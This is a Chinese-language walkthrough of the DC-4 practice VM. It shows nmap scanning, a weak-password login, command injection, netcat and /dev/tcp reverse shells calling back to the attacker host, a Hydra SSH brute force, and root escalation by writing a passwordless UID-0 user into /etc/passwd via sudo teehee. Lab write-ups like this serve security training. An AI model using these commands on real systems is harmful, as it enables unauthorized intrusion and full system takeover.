环境:
攻击机:kali(192.168.0.2)
靶机:DC_4(192.168.0.1)
目的:
获得靶机 root 权限,找到root账户下的 flag
过程:
一:信息收集
nmap扫描网段进行主机探测,发现存活主机
使用攻击机kali(192.168.0.2)输入命令:nmap -sP 192.168.0.0/24
发现判定为DC—4靶机,继续使用nmap获取详细信息
使用命令 nmap -A -p 1-65535 192.168.0.1 进行强力指定端口扫描
-A 强力扫描
-p 指定端口
发现80端口和22端口打开 我们直接访问这个80端口 也可用ssh连接主机
二:挖掘漏洞
我们访问这个80端口 得到一个无验证码的登入页面 显然这里应该存在弱口令登入
我们直接尝试 admin/123456登入 发现可以登入
我们点击command 然后用bp进行抓包分析
发现存在命令执行漏洞
三:漏洞利用
我们可以反弹一个shell,给kali,然后进行kali监听
nc 192.168.0.2 1234 -e /bin/bash
nc -lvp 1234
监听成功 继续,使用python获取交互模式
python pty 方式
一般我们都会使用nc来接收反弹来的shell,只需要在目标上(以linux为例)执行:
bash -i >& /dev/tcp/192.168.2.134/4444 0>&1
本地接收一下就ok了,但是反弹回来的shell,或多或少都会存在问题,比如当我想使用top命令时就会提示没有 tty。简单的来说就是没有上下文环境,这样的话,vim,sudo等操作都做不了,有时候还需要其他工具,很麻烦。
但是如果发现对方机器上有 python 的话,我们可以:
python -c 'import pty; pty.spawn("/bin/bash")'
搜索文件,在jim用户下发现一个密码字典备份,获取并尝试SSH爆破登陆
我们可以把里面的密码赋值下来保存为一个文本 然后进行爆破
然后进行爆破 这里我们使用Hydra进行强力破解
我们使用指令:hydra -l jim -P wenda.txt -t 6 ssh://192.168.0.1
得到ssh密码(不同环境密码变了 因为这里涉及到教学内容,所以就随便用了一张图)然后使用kali登录jim
ssh jim@192.168.0.1
先看sudo能不能提权 发现不行
接下来还是一顿搜索 发现jim有邮件
进入邮件目录
cd var/spool/mail
可以看到发件人的账号和密码 然后我们切换用户试试
直接su xxx
Password: xxxxx
先看sudo能不能提权
sudo -l
发现了teehee 那我们可以使用teehee提权
四: 提权
使用teehee命令将一个无密码用户admin写入到/etc/passwd文件,并加入到root组中
echo "admin::0:0:::/bin/bash" | sudo teehee -a /etc/passwd
# 用户名admin 没有密码为管理员权限 进入的时候运行/bin/bash
我们切换到admin用户
提权成功 进入root目录发现flag.txt 获得flag